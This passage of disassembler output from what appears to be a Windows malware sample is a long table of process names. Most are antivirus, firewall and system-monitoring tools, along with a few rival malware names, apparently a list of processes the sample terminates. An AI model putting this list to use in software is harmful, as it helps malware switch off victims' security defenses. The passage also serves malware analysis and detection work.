dd offset aShn_exe ; "SHN.EXE"
dd offset aShowbehind_exe ; "SHOWBEHIND.EXE"
dd offset aSmc_exe ; "SMC.EXE"
dd offset aSms_exe ; "SMS.EXE"
dd offset aSmss32_exe ; "SMSS32.EXE"
dd offset aSoap_exe ; "SOAP.EXE"
dd offset aSofi_exe ; "SOFI.EXE"
dd offset aSperm_exe ; "SPERM.EXE"
dd offset aSpf_exe ; "SPF.EXE"
dd offset aSphinx_exe ; "SPHINX.EXE"
dd offset aSpoler_exe ; "SPOLER.EXE"
dd offset aSpoolcv_exe ; "SPOOLCV.EXE"
dd offset aSpoolsv32_exe ; "SPOOLSV32.EXE"
dd offset aSpyxx_exe ; "SPYXX.EXE"
dd offset aSrexe_exe ; "SREXE.EXE"
dd offset aSrng_exe ; "SRNG.EXE"
dd offset aSs3edit_exe ; "SS3EDIT.EXE"
dd offset aSsgrate_exe ; "SSGRATE.EXE"
dd offset aSsg_4104_exe ; "SSG_4104.EXE"
dd offset aSt2_exe ; "ST2.EXE"
dd offset aStart_exe ; "START.EXE"
dd offset aStcloader_exe ; "STCLOADER.EXE"
dd offset aSupftrl_exe ; "SUPFTRL.EXE"
dd offset aSupport_exe ; "SUPPORT.EXE"
dd offset aSupporter5_exe ; "SUPPORTER5.EXE"
dd offset aSvc_exe ; "SVC.EXE"
dd offset aSvchostc_exe ; "SVCHOSTC.EXE"
dd offset aSvchosts_exe ; "SVCHOSTS.EXE"
dd offset aSvshost_exe ; "SVSHOST.EXE"
dd offset aSweep95_exe ; "SWEEP95.EXE"
dd offset aSweepnet_sweep ; "SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE"
dd offset aSymproxysvc_ex ; "SYMPROXYSVC.EXE"
dd offset aSymtray_exe ; "SYMTRAY.EXE"
dd offset aSysedit_exe ; "SYSEDIT.EXE"
dd offset aSystem_exe ; "SYSTEM.EXE"
dd offset aSystem32_exe ; "SYSTEM32.EXE"
dd offset aSysupd_exe ; "SYSUPD.EXE"
dd offset aTaskmg_exe ; "TASKMG.EXE"
dd offset aTaskmo_exe ; "TASKMO.EXE"
dd offset aTaskmon_exe ; "TASKMON.EXE"
dd offset aTaumon_exe ; "TAUMON.EXE"
dd offset aTbscan_exe ; "TBSCAN.EXE"
dd offset aTc_exe ; "TC.EXE"
dd offset aTca_exe ; "TCA.EXE"
dd offset aTcm_exe ; "TCM.EXE"
dd offset aTds3_exe ; "TDS-3.EXE"
dd offset aTds298_exe ; "TDS2-98.EXE"
dd offset aTds2Nt_exe ; "TDS2-NT.EXE"
dd offset aTeekids_exe ; "TEEKIDS.EXE"
dd offset aTfak_exe ; "TFAK.EXE"
dd offset aTfak5_exe ; "TFAK5.EXE"
dd offset aTgbob_exe ; "TGBOB.EXE"
dd offset aTitanin_exe ; "TITANIN.EXE"
dd offset aTitaninxp_exe ; "TITANINXP.EXE"
dd offset aTracert_exe ; "TRACERT.EXE"
dd offset aTrickler_exe ; "TRICKLER.EXE"
dd offset aTrjscan_exe ; "TRJSCAN.EXE"
dd offset aTrjsetup_exe ; "TRJSETUP.EXE"
dd offset aTrojantrap3_ex ; "TROJANTRAP3.EXE"
dd offset aTsadbot_exe ; "TSADBOT.EXE"
dd offset aTvmd_exe ; "TVMD.EXE"
dd offset aTvtmd_exe ; "TVTMD.EXE"
dd offset aUndoboot_exe ; "UNDOBOOT.EXE"
dd offset aUpdat_exe ; "UPDAT.EXE"
dd offset aUpdate_exe ; "UPDATE.EXE"
dd offset aUpdate_exe ; "UPDATE.EXE"
dd offset aUpgrad_exe ; "UPGRAD.EXE"
dd offset aUtpost_exe ; "UTPOST.EXE"
dd offset aVbcmserv_exe ; "VBCMSERV.EXE"
dd offset aVbcons_exe ; "VBCONS.EXE"
dd offset aVbust_exe ; "VBUST.EXE"
dd offset aVbwin9x_exe ; "VBWIN9X.EXE"
dd offset aVbwinntw_exe ; "VBWINNTW.EXE"
dd offset aVcsetup_exe ; "VCSETUP.EXE"
dd offset aVet32_exe ; "VET32.EXE"
dd offset aVet95_exe ; "VET95.EXE"
dd offset aVettray_exe ; "VETTRAY.EXE"
dd offset aVfsetup_exe ; "VFSETUP.EXE"
dd offset aVirHelp_exe ; "VIR-HELP.EXE"
dd offset aVirusmdpersona ; "VIRUSMDPERSONALFIREWALL.EXE"
dd offset aVnlan300_exe ; "VNLAN300.EXE"
dd offset aVnpc3000_exe ; "VNPC3000.EXE"
dd offset aVpc32_exe ; "VPC32.EXE"
dd offset aVpc42_exe ; "VPC42.EXE"
dd offset aVpfw30s_exe ; "VPFW30S.EXE"
dd offset aVptray_exe ; "VPTRAY.EXE"
dd offset aVscan40_exe ; "VSCAN40.EXE"
dd offset aVscenu6_02d30_ ; "VSCENU6.02D30.EXE"
dd offset aVsched_exe ; "VSCHED.EXE"
dd offset aVsecomr_exe ; "VSECOMR.EXE"
dd offset aVshwin32_exe ; "VSHWIN32.EXE"
dd offset aVsisetup_exe ; "VSISETUP.EXE"
dd offset aVsmain_exe ; "VSMAIN.EXE"
dd offset aVsmon_exe ; "VSMON.EXE"
dd offset aVsstat_exe ; "VSSTAT.EXE"
dd offset aVswin9xe_exe ; "VSWIN9XE.EXE"
dd offset aVswinntse_exe ; "VSWINNTSE.EXE"
dd offset aVswinperse_exe ; "VSWINPERSE.EXE"
dd offset aW32dsm89_exe ; "W32DSM89.EXE"
dd offset aW9x_exe ; "W9X.EXE"
dd offset aWatchdog_exe ; "WATCHDOG.EXE"
dd offset aWebdav_exe ; "WEBDAV.EXE"
dd offset aWebscanx_exe ; "WEBSCANX.EXE"
dd offset aWebtrap_exe ; "WEBTRAP.EXE"
dd offset aWfindv32_exe ; "WFINDV32.EXE"
dd offset aWgfe95_exe ; "WGFE95.EXE"
dd offset aWhoswatchingme ; "WHOSWATCHINGME.EXE"
dd offset aWimmun32_exe ; "WIMMUN32.EXE"
dd offset aWinBugsfix_exe ; "WIN-BUGSFIX.EXE"
dd offset aWin32_exe ; "WIN32.EXE"
dd offset aWin32us_exe ; "WIN32US.EXE"
dd offset aWinactive_exe ; "WINACTIVE.EXE"
dd offset aWindow_exe ; "WINDOW.EXE"
dd offset aWindows_exe ; "WINDOWS.EXE"
dd offset aWininetd_exe ; "WININETD.EXE"
dd offset aWininit_exe ; "WININIT.EXE"
dd offset aWininitx_exe ; "WININITX.EXE"
dd offset aWinlogin_exe ; "WINLOGIN.EXE"
dd offset aWinmain_exe ; "WINMAIN.EXE"
dd offset aWinnet_exe ; "WINNET.EXE"
dd offset aWinppr32_exe ; "WINPPR32.EXE"
dd offset aWinrecon_exe ; "WINRECON.EXE"
dd offset aWinservn_exe ; "WINSERVN.EXE"
dd offset aWinssk32_exe ; "WINSSK32.EXE"
dd offset aWinstart_exe ; "WINSTART.EXE"
dd offset aWinstart001_ex ; "WINSTART001.EXE"
dd offset aWintsk32_exe ; "WINTSK32.EXE"
dd offset aWinupdate_exe ; "WINUPDATE.EXE"
dd offset aWkufind_exe ; "WKUFIND.EXE"
dd offset aWnad_exe ; "WNAD.EXE"
dd offset aWnt_exe ; "WNT.EXE"
dd offset aWradmin_exe ; "WRADMIN.EXE"
dd offset aWrctrl_exe ; "WRCTRL.EXE"
dd offset aWsbgate_exe ; "WSBGATE.EXE"
dd offset aWupdater_exe ; "WUPDATER.EXE"
dd offset aWupdt_exe ; "WUPDT.EXE"
dd offset aWyvernworksfir ; "WYVERNWORKSFIREWALL.EXE"
dd offset aXpf202en_exe ; "XPF202EN.EXE"
dd offset aZapro_exe ; "ZAPRO.EXE"
dd offset aZapsetup3001_e ; "ZAPSETUP3001.EXE"
dd offset aZatutor_exe ; "ZATUTOR.EXE"
dd offset aZonalm2601_exe ; "ZONALM2601.EXE"
dd offset aZonealarm_exe ; "ZONEALARM.EXE"
dd offset a_avp32_exe ; "_AVP32.EXE"
dd offset a_avpcc_exe ; "_AVPCC.EXE"
dd offset a_avpm_exe ; "_AVPM.EXE"
dd offset aHijackthis_exe ; "HIJACKTHIS.EXE"
dd offset aFAgobot_exe ; "F-AGOBOT.EXE"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset aSysinfo_exe ; "sysinfo.exe"
dd offset aMscvb32_exe ; "mscvb32.exe"
dd offset aPenis32_exe ; "Penis32.exe"
dd offset aBbeagle_exe ; "bbeagle.exe"
dd offset aSysmonxp_exe ; "SysMonXP.exe"
dd offset aWinupd_exe ; "winupd.exe"
dd offset aWinsys_exe ; "winsys.exe"
dd offset aSsate_exe ; "ssate.exe"
dd offset aRate_exe ; "rate.exe"
dd offset aD3dupdate_exe ; "d3dupdate.exe"
dd offset aIrun4_exe ; "irun4.exe"
dd offset aI11r54n4_exe ; "i11r54n4.exe"
aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: sub_4088B4+ECo
; .data:004228C4o
align 4
aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .data:004228C0o
align 4
aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .data:004228BCo
align 4
aRate_exe db 'rate.exe',0 ; DATA XREF: .data:004228B8o
align 10h
aSsate_exe db 'ssate.exe',0 ; DATA XREF: .data:004228B4o
align 4
aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .data:004228B0o
align 4
aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .data:004228ACo
align 4
aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .data:004228A8o
align 4
aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .data:004228A4o
aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .data:004228A0o
aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .data:0042289Co
aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .data:00422898o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .data:00422894o
align 4
aFAgobot_exe db 'F-AGOBOT.EXE',0 ; DATA XREF: .data:00422890o
align 4
aHijackthis_exe db 'HIJACKTHIS.EXE',0 ; DATA XREF: .data:0042288Co
align 4
a_avpm_exe db '_AVPM.EXE',0 ; DATA XREF: .data:00422888o
align 4
a_avpcc_exe db '_AVPCC.EXE',0 ; DATA XREF: .data:00422884o
align 10h
a_avp32_exe db '_AVP32.EXE',0 ; DATA XREF: .data:00422880o
align 4
aZonealarm_exe db 'ZONEALARM.EXE',0 ; DATA XREF: .data:0042287Co
align 4
aZonalm2601_exe db 'ZONALM2601.EXE',0 ; DATA XREF: .data:00422878o
align 4
aZatutor_exe db 'ZATUTOR.EXE',0 ; DATA XREF: .data:00422874o
aZapsetup3001_e db 'ZAPSETUP3001.EXE',0 ; DATA XREF: .data:00422870o
align 4
aZapro_exe db 'ZAPRO.EXE',0 ; DATA XREF: .data:0042286Co
align 4
aXpf202en_exe db 'XPF202EN.EXE',0 ; DATA XREF: .data:00422868o
align 4
aWyvernworksfir db 'WYVERNWORKSFIREWALL.EXE',0 ; DATA XREF: .data:00422864o
aWupdt_exe db 'WUPDT.EXE',0 ; DATA XREF: .data:00422860o
align 4
aWupdater_exe db 'WUPDATER.EXE',0 ; DATA XREF: .data:0042285Co
align 4
aWsbgate_exe db 'WSBGATE.EXE',0 ; DATA XREF: .data:00422858o
aWrctrl_exe db 'WRCTRL.EXE',0 ; DATA XREF: .data:00422854o
align 4
aWradmin_exe db 'WRADMIN.EXE',0 ; DATA XREF: .data:00422850o
aWnt_exe db 'WNT.EXE',0 ; DATA XREF: .data:0042284Co
aWnad_exe db 'WNAD.EXE',0 ; DATA XREF: .data:00422848o
align 4
aWkufind_exe db 'WKUFIND.EXE',0 ; DATA XREF: .data:00422844o
aWinupdate_exe db 'WINUPDATE.EXE',0 ; DATA XREF: .data:00422840o
align 10h
aWintsk32_exe db 'WINTSK32.EXE',0 ; DATA XREF: .data:0042283Co
align 10h
aWinstart001_ex db 'WINSTART001.EXE',0 ; DATA XREF: .data:00422838o
aWinstart_exe db 'WINSTART.EXE',0 ; DATA XREF: .data:00422834o
align 10h
aWinssk32_exe db 'WINSSK32.EXE',0 ; DATA XREF: .data:00422830o
align 10h
aWinservn_exe db 'WINSERVN.EXE',0 ; DATA XREF: .data:0042282Co
align 10h
aWinrecon_exe db 'WINRECON.EXE',0 ; DATA XREF: .data:00422828o
align 10h
aWinppr32_exe db 'WINPPR32.EXE',0 ; DATA XREF: .data:00422824o
align 10h
aWinnet_exe db 'WINNET.EXE',0 ; DATA XREF: .data:00422820o
align 4
aWinmain_exe db 'WINMAIN.EXE',0 ; DATA XREF: .data:0042281Co
aWinlogin_exe db 'WINLOGIN.EXE',0 ; DATA XREF: .data:00422818o
align 4
aWininitx_exe db 'WININITX.EXE',0 ; DATA XREF: .data:00422814o
align 4
aWininit_exe db 'WININIT.EXE',0 ; DATA XREF: .data:00422810o
aWininetd_exe db 'WININETD.EXE',0 ; DATA XREF: .data:0042280Co
align 4
aWindows_exe db 'WINDOWS.EXE',0 ; DATA XREF: .data:00422808o
aWindow_exe db 'WINDOW.EXE',0 ; DATA XREF: .data:00422804o
align 4
aWinactive_exe db 'WINACTIVE.EXE',0 ; DATA XREF: .data:00422800o
align 4
aWin32us_exe db 'WIN32US.EXE',0 ; DATA XREF: .data:004227FCo
aWin32_exe db 'WIN32.EXE',0 ; DATA XREF: .data:004227F8o
align 4
aWinBugsfix_exe db 'WIN-BUGSFIX.EXE',0 ; DATA XREF: .data:004227F4o
aWimmun32_exe db 'WIMMUN32.EXE',0 ; DATA XREF: .data:004227F0o
align 4
aWhoswatchingme db 'WHOSWATCHINGME.EXE',0 ; DATA XREF: .data:004227ECo
align 4
aWgfe95_exe db 'WGFE95.EXE',0 ; DATA XREF: .data:004227E8o
align 4
aWfindv32_exe db 'WFINDV32.EXE',0 ; DATA XREF: .data:004227E4o
align 4
aWebtrap_exe db 'WEBTRAP.EXE',0 ; DATA XREF: .data:004227E0o
aWebscanx_exe db 'WEBSCANX.EXE',0 ; DATA XREF: .data:004227DCo
align 10h
aWebdav_exe db 'WEBDAV.EXE',0 ; DATA XREF: .data:004227D8o
align 4
aWatchdog_exe db 'WATCHDOG.EXE',0 ; DATA XREF: .data:004227D4o
align 4
aW9x_exe db 'W9X.EXE',0 ; DATA XREF: .data:004227D0o
aW32dsm89_exe db 'W32DSM89.EXE',0 ; DATA XREF: .data:004227CCo
align 4
aVswinperse_exe db 'VSWINPERSE.EXE',0 ; DATA XREF: .data:004227C8o
align 4
aVswinntse_exe db 'VSWINNTSE.EXE',0 ; DATA XREF: .data:004227C4o
align 4
aVswin9xe_exe db 'VSWIN9XE.EXE',0 ; DATA XREF: .data:004227C0o
align 4
aVsstat_exe db 'VSSTAT.EXE',0 ; DATA XREF: .data:004227BCo
align 10h
aVsmon_exe db 'VSMON.EXE',0 ; DATA XREF: .data:004227B8o
align 4
aVsmain_exe db 'VSMAIN.EXE',0 ; DATA XREF: .data:004227B4o
align 4
aVsisetup_exe db 'VSISETUP.EXE',0 ; DATA XREF: .data:004227B0o
align 4
aVshwin32_exe db 'VSHWIN32.EXE',0 ; DATA XREF: .data:004227ACo
align 4
aVsecomr_exe db 'VSECOMR.EXE',0 ; DATA XREF: .data:004227A8o
aVsched_exe db 'VSCHED.EXE',0 ; DATA XREF: .data:004227A4o
align 10h
aVscenu6_02d30_ db 'VSCENU6.02D30.EXE',0 ; DATA XREF: .data:004227A0o
align 4
aVscan40_exe db 'VSCAN40.EXE',0 ; DATA XREF: .data:0042279Co
aVptray_exe db 'VPTRAY.EXE',0 ; DATA XREF: .data:00422798o
align 4
aVpfw30s_exe db 'VPFW30S.EXE',0 ; DATA XREF: .data:00422794o
aVpc42_exe db 'VPC42.EXE',0 ; DATA XREF: .data:00422790o
align 4
aVpc32_exe db 'VPC32.EXE',0 ; DATA XREF: .data:0042278Co
align 10h
aVnpc3000_exe db 'VNPC3000.EXE',0 ; DATA XREF: .data:00422788o
align 10h
aVnlan300_exe db 'VNLAN300.EXE',0 ; DATA XREF: .data:00422784o
align 10h
aVirusmdpersona db 'VIRUSMDPERSONALFIREWALL.EXE',0 ; DATA XREF: .data:00422780o
aVirHelp_exe db 'VIR-HELP.EXE',0 ; DATA XREF: .data:0042277Co
align 4
aVfsetup_exe db 'VFSETUP.EXE',0 ; DATA XREF: .data:00422778o
aVettray_exe db 'VETTRAY.EXE',0 ; DATA XREF: .data:00422774o
aVet95_exe db 'VET95.EXE',0 ; DATA XREF: .data:00422770o
align 10h
aVet32_exe db 'VET32.EXE',0 ; DATA XREF: .data:0042276Co
align 4
aVcsetup_exe db 'VCSETUP.EXE',0 ; DATA XREF: .data:00422768o
aVbwinntw_exe db 'VBWINNTW.EXE',0 ; DATA XREF: .data:00422764o
align 4
aVbwin9x_exe db 'VBWIN9X.EXE',0 ; DATA XREF: .data:00422760o
aVbust_exe db 'VBUST.EXE',0 ; DATA XREF: .data:0042275Co
align 10h
aVbcons_exe db 'VBCONS.EXE',0 ; DATA XREF: .data:00422758o
align 4
aVbcmserv_exe db 'VBCMSERV.EXE',0 ; DATA XREF: .data:00422754o
align 4
aUtpost_exe db 'UTPOST.EXE',0 ; DATA XREF: .data:00422750o
align 4
aUpgrad_exe db 'UPGRAD.EXE',0 ; DATA XREF: .data:0042274Co
align 4
aUpdate_exe db 'UPDATE.EXE',0 ; DATA XREF: .data:00422744o
; .data:00422748o
align 10h
aUpdat_exe db 'UPDAT.EXE',0 ; DATA XREF: .data:00422740o
align 4
aUndoboot_exe db 'UNDOBOOT.EXE',0 ; DATA XREF: .data:0042273Co
align 4
aTvtmd_exe db 'TVTMD.EXE',0 ; DATA XREF: .data:00422738o
align 4
aTvmd_exe db 'TVMD.EXE',0 ; DATA XREF: .data:00422734o
align 4
aTsadbot_exe db 'TSADBOT.EXE',0 ; DATA XREF: .data:00422730o
aTrojantrap3_ex db 'TROJANTRAP3.EXE',0 ; DATA XREF: .data:0042272Co
aTrjsetup_exe db 'TRJSETUP.EXE',0 ; DATA XREF: .data:00422728o
align 10h
aTrjscan_exe db 'TRJSCAN.EXE',0 ; DATA XREF: .data:00422724o
aTrickler_exe db 'TRICKLER.EXE',0 ; DATA XREF: .data:00422720o
align 4
aTracert_exe db 'TRACERT.EXE',0 ; DATA XREF: .data:0042271Co
aTitaninxp_exe db 'TITANINXP.EXE',0 ; DATA XREF: .data:00422718o
align 4
aTitanin_exe db 'TITANIN.EXE',0 ; DATA XREF: .data:00422714o
aTgbob_exe db 'TGBOB.EXE',0 ; DATA XREF: .data:00422710o
align 10h
aTfak5_exe db 'TFAK5.EXE',0 ; DATA XREF: .data:0042270Co
align 4
aTfak_exe db 'TFAK.EXE',0 ; DATA XREF: .data:00422708o
align 4
aTeekids_exe db 'TEEKIDS.EXE',0 ; DATA XREF: .data:00422704o
aTds2Nt_exe db 'TDS2-NT.EXE',0 ; DATA XREF: .data:00422700o
aTds298_exe db 'TDS2-98.EXE',0 ; DATA XREF: .data:004226FCo
aTds3_exe db 'TDS-3.EXE',0 ; DATA XREF: .data:004226F8o
align 4
aTcm_exe db 'TCM.EXE',0 ; DATA XREF: .data:004226F4o
aTca_exe db 'TCA.EXE',0 ; DATA XREF: .data:004226F0o
aTc_exe db 'TC.EXE',0 ; DATA XREF: .data:004226ECo
align 10h
aTbscan_exe db 'TBSCAN.EXE',0 ; DATA XREF: .data:004226E8o
align 4
aTaumon_exe db 'TAUMON.EXE',0 ; DATA XREF: .data:004226E4o
align 4
aTaskmon_exe db 'TASKMON.EXE',0 ; DATA XREF: .data:004226E0o
aTaskmo_exe db 'TASKMO.EXE',0 ; DATA XREF: .data:004226DCo
align 10h
aTaskmg_exe db 'TASKMG.EXE',0 ; DATA XREF: .data:004226D8o
align 4
aSysupd_exe db 'SYSUPD.EXE',0 ; DATA XREF: .data:004226D4o
align 4
aSystem32_exe db 'SYSTEM32.EXE',0 ; DATA XREF: .data:004226D0o
align 4
aSystem_exe db 'SYSTEM.EXE',0 ; DATA XREF: .data:004226CCo
align 4
aSysedit_exe db 'SYSEDIT.EXE',0 ; DATA XREF: .data:004226C8o
aSymtray_exe db 'SYMTRAY.EXE',0 ; DATA XREF: .data:004226C4o
aSymproxysvc_ex db 'SYMPROXYSVC.EXE',0 ; DATA XREF: .data:004226C0o
aSweepnet_sweep db 'SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE',0 ; DATA XREF: .data:004226BCo
align 10h
aSweep95_exe db 'SWEEP95.EXE',0 ; DATA XREF: .data:004226B8o
aSvshost_exe db 'SVSHOST.EXE',0 ; DATA XREF: .data:004226B4o
aSvchosts_exe db 'SVCHOSTS.EXE',0 ; DATA XREF: .data:004226B0o
align 4
aSvchostc_exe db 'SVCHOSTC.EXE',0 ; DATA XREF: .data:004226ACo
align 4
aSvc_exe db 'SVC.EXE',0 ; DATA XREF: .data:004226A8o
aSupporter5_exe db 'SUPPORTER5.EXE',0 ; DATA XREF: .data:004226A4o
align 10h
aSupport_exe db 'SUPPORT.EXE',0 ; DATA XREF: .data:004226A0o
aSupftrl_exe db 'SUPFTRL.EXE',0 ; DATA XREF: .data:0042269Co
aStcloader_exe db 'STCLOADER.EXE',0 ; DATA XREF: .data:00422698o
align 4
aStart_exe db 'START.EXE',0 ; DATA XREF: .data:00422694o
align 4
aSt2_exe db 'ST2.EXE',0 ; DATA XREF: .data:00422690o
aSsg_4104_exe db 'SSG_4104.EXE',0 ; DATA XREF: .data:0042268Co
align 4
aSsgrate_exe db 'SSGRATE.EXE',0 ; DATA XREF: .data:00422688o
aSs3edit_exe db 'SS3EDIT.EXE',0 ; DATA XREF: .data:00422684o
aSrng_exe db 'SRNG.EXE',0 ; DATA XREF: .data:00422680o
align 10h
aSrexe_exe db 'SREXE.EXE',0 ; DATA XREF: .data:0042267Co
align 4
aSpyxx_exe db 'SPYXX.EXE',0 ; DATA XREF: .data:00422678o
align 4
aSpoolsv32_exe db 'SPOOLSV32.EXE',0 ; DATA XREF: .data:00422674o
align 4
aSpoolcv_exe db 'SPOOLCV.EXE',0 ; DATA XREF: .data:00422670o
aSpoler_exe db 'SPOLER.EXE',0 ; DATA XREF: .data:0042266Co
align 10h
aSphinx_exe db 'SPHINX.EXE',0 ; DATA XREF: .data:00422668o
align 4
aSpf_exe db 'SPF.EXE',0 ; DATA XREF: .data:00422664o
aSperm_exe db 'SPERM.EXE',0 ; DATA XREF: .data:00422660o
align 10h
aSofi_exe db 'SOFI.EXE',0 ; DATA XREF: .data:0042265Co
align 4
aSoap_exe db 'SOAP.EXE',0 ; DATA XREF: .data:00422658o
align 4
aSmss32_exe db 'SMSS32.EXE',0 ; DATA XREF: .data:00422654o
align 4
aSms_exe db 'SMS.EXE',0 ; DATA XREF: .data:00422650o
aSmc_exe db 'SMC.EXE',0 ; DATA XREF: .data:0042264Co
aShowbehind_exe db 'SHOWBEHIND.EXE',0 ; DATA XREF: .data:00422648o
align 4
aShn_exe db 'SHN.EXE',0 ; DATA XREF: .data:00422644o
aShellspyinstal db 'SHELLSPYINSTALL.EXE',0 ; DATA XREF: .data:00422640o
aSh_exe db 'SH.EXE',0 ; DATA XREF: .data:0042263Co
align 4
aSgssfw32_exe db 'SGSSFW32.EXE',0 ; DATA XREF: .data:00422638o
align 4
aSfc_exe db 'SFC.EXE',0 ; DATA XREF: .data:00422634o
aSetup_flowprot db 'SETUP_FLOWPROTECTOR_US.EXE',0 ; DATA XREF: .data:00422630o
align 4
aSetupvameeval_ db 'SETUPVAMEEVAL.EXE',0 ; DATA XREF: .data:0042262Co
align 10h
aServlces_exe db 'SERVLCES.EXE',0 ; DATA XREF: .data:00422628o
align 10h
aServlce_exe db 'SERVLCE.EXE',0 ; DATA XREF: .data:00422624o
aService_exe db 'SERVICE.EXE',0 ; DATA XREF: .data:00422620o
aServ95_exe db 'SERV95.EXE',0 ; DATA XREF: .data:0042261Co
align 4
aSd_exe db 'SD.EXE',0 ; DATA XREF: .data:00422618o
align 4
aScvhost_exe db 'SCVHOST.EXE',0 ; DATA XREF: .data:00422614o
aScrsvr_exe db 'SCRSVR.EXE',0 ; DATA XREF: .data:00422610o
align 4
aScrscan_exe db 'SCRSCAN.EXE',0 ; DATA XREF: .data:0042260Co
aScanpm_exe db 'SCANPM.EXE',0 ; DATA XREF: .data:00422608o
align 4
aScan95_exe db 'SCAN95.EXE',0 ; DATA XREF: .data:00422604o
align 4
aScan32_exe db 'SCAN32.EXE',0 ; DATA XREF: .data:00422600o
align 4
aScam32_exe db 'SCAM32.EXE',0 ; DATA XREF: .data:004225FCo
align 10h
aSc_exe db 'SC.EXE',0 ; DATA XREF: .data:004225F8o
align 4
aSbserv_exe db 'SBSERV.EXE',0 ; DATA XREF: .data:004225F4o
align 4
aSavenow_exe db 'SAVENOW.EXE',0 ; DATA XREF: .data:004225F0o
aSave_exe db 'SAVE.EXE',0 ; DATA XREF: .data:004225ECo
align 4
aSahagent_exe db 'SAHAGENT.EXE',0 ; DATA XREF: .data:004225E8o
align 4
aSafeweb_exe db 'SAFEWEB.EXE',0 ; DATA XREF: .data:004225E4o
aRuxdll32_exe db 'RUXDLL32.EXE',0 ; DATA XREF: .data:004225E0o
align 4
aRundll16_exe db 'RUNDLL16.EXE',0 ; DATA XREF: .data:004225DCo
align 4
aRundll_exe db 'RUNDLL.EXE',0 ; DATA XREF: .data:004225D8o
align 4
aRun32dll_exe db 'RUN32DLL.EXE',0 ; DATA XREF: .data:004225D4o
align 4
aRulaunch_exe db 'RULAUNCH.EXE',0 ; DATA XREF: .data:004225D0o
align 4
aRtvscn95_exe db 'RTVSCN95.EXE',0 ; DATA XREF: .data:004225CCo
align 4
aRtvscan_exe db 'RTVSCAN.EXE',0 ; DATA XREF: .data:004225C8o
aRshell_exe db 'RSHELL.EXE',0 ; DATA XREF: .data:004225C4o
align 4
aRrguard_exe db 'RRGUARD.EXE',0 ; DATA XREF: .data:004225C0o
aRescue32_exe db 'RESCUE32.EXE',0 ; DATA XREF: .data:004225BCo
align 4
aRescue_exe db 'RESCUE.EXE',0 ; DATA XREF: .data:004225B8o
align 4
aRegedt32_exe db 'REGEDT32.EXE',0 ; DATA XREF: .data:004225B4o
align 4
aRegedit_exe db 'REGEDIT.EXE',0 ; DATA XREF: .data:004225B0o
aReged_exe db 'REGED.EXE',0 ; DATA XREF: .data:004225ACo
align 4
aRealmon_exe db 'REALMON.EXE',0 ; DATA XREF: .data:004225A8o
aRcsync_exe db 'RCSYNC.EXE',0 ; DATA XREF: .data:004225A4o
align 4
aRb32_exe db 'RB32.EXE',0 ; DATA XREF: .data:004225A0o
align 10h
aRay_exe db 'RAY.EXE',0 ; DATA XREF: .data:0042259Co
aRav8win32eng_e db 'RAV8WIN32ENG.EXE',0 ; DATA XREF: .data:00422598o
align 4
aRav7win_exe db 'RAV7WIN.EXE',0 ; DATA XREF: .data:00422594o
aRav7_exe db 'RAV7.EXE',0 ; DATA XREF: .data:00422590o
align 4
aRapapp_exe db 'RAPAPP.EXE',0 ; DATA XREF: .data:0042258Co
align 10h
aQserver_exe db 'QSERVER.EXE',0 ; DATA XREF: .data:00422588o
aQconsole_exe db 'QCONSOLE.EXE',0 ; DATA XREF: .data:00422584o
align 4
aPview95_exe db 'PVIEW95.EXE',0 ; DATA XREF: .data:00422580o
aPussy_exe db 'PUSSY.EXE',0 ; DATA XREF: .data:0042257Co
align 4
aPurge_exe db 'PURGE.EXE',0 ; DATA XREF: .data:00422578o
align 10h
aPspf_exe db 'PSPF.EXE',0 ; DATA XREF: .data:00422574o
align 4
aProtectx_exe db 'PROTECTX.EXE',0 ; DATA XREF: .data:00422570o
align 4
aProport_exe db 'PROPORT.EXE',0 ; DATA XREF: .data:0042256Co
aProgramauditor db 'PROGRAMAUDITOR.EXE',0 ; DATA XREF: .data:00422568o
align 4
aProcexplorerv1 db 'PROCEXPLORERV1.0.EXE',0 ; DATA XREF: .data:00422564o
align 4
aProcessmonitor db 'PROCESSMONITOR.EXE',0 ; DATA XREF: .data:00422560o
align 4
aProcdump_exe db 'PROCDUMP.EXE',0 ; DATA XREF: .data:0042255Co
align 4
aPrmvr_exe db 'PRMVR.EXE',0 ; DATA XREF: .data:00422558o
align 4
aPrmt_exe db 'PRMT.EXE',0 ; DATA XREF: .data:00422554o
align 10h
aPrizesurfer_ex db 'PRIZESURFER.EXE',0 ; DATA XREF: .data:00422550o
aPpvstop_exe db 'PPVSTOP.EXE',0 ; DATA XREF: .data:0042254Co
aPptbc_exe db 'PPTBC.EXE',0 ; DATA XREF: .data:00422548o
align 4
aPpinupdt_exe db 'PPINUPDT.EXE',0 ; DATA XREF: .data:00422544o
align 4
aPowerscan_exe db 'POWERSCAN.EXE',0 ; DATA XREF: .data:00422540o
align 4
aPortmonitor_ex db 'PORTMONITOR.EXE',0 ; DATA XREF: .data:0042253Co
aPortdetective_ db 'PORTDETECTIVE.EXE',0 ; DATA XREF: .data:00422538o
align 4
aPopscan_exe db 'POPSCAN.EXE',0 ; DATA XREF: .data:00422534o
aPoproxy_exe db 'POPROXY.EXE',0 ; DATA XREF: .data:00422530o
aPop3trap_exe db 'POP3TRAP.EXE',0 ; DATA XREF: .data:0042252Co
align 4
aPlatin_exe db 'PLATIN.EXE',0 ; DATA XREF: .data:00422528o
align 10h
aPingscan_exe db 'PINGSCAN.EXE',0 ; DATA XREF: .data:00422524o
align 10h
aPgmonitr_exe db 'PGMONITR.EXE',0 ; DATA XREF: .data:00422520o
align 10h
aPfwadmin_exe db 'PFWADMIN.EXE',0 ; DATA XREF: .data:0042251Co
align 10h
aPf2_exe db 'PF2.EXE',0 ; DATA XREF: .data:00422518o
aPerswf_exe db 'PERSWF.EXE',0 ; DATA XREF: .data:00422514o
align 4
aPersfw_exe db 'PERSFW.EXE',0 ; DATA XREF: .data:00422510o
align 10h
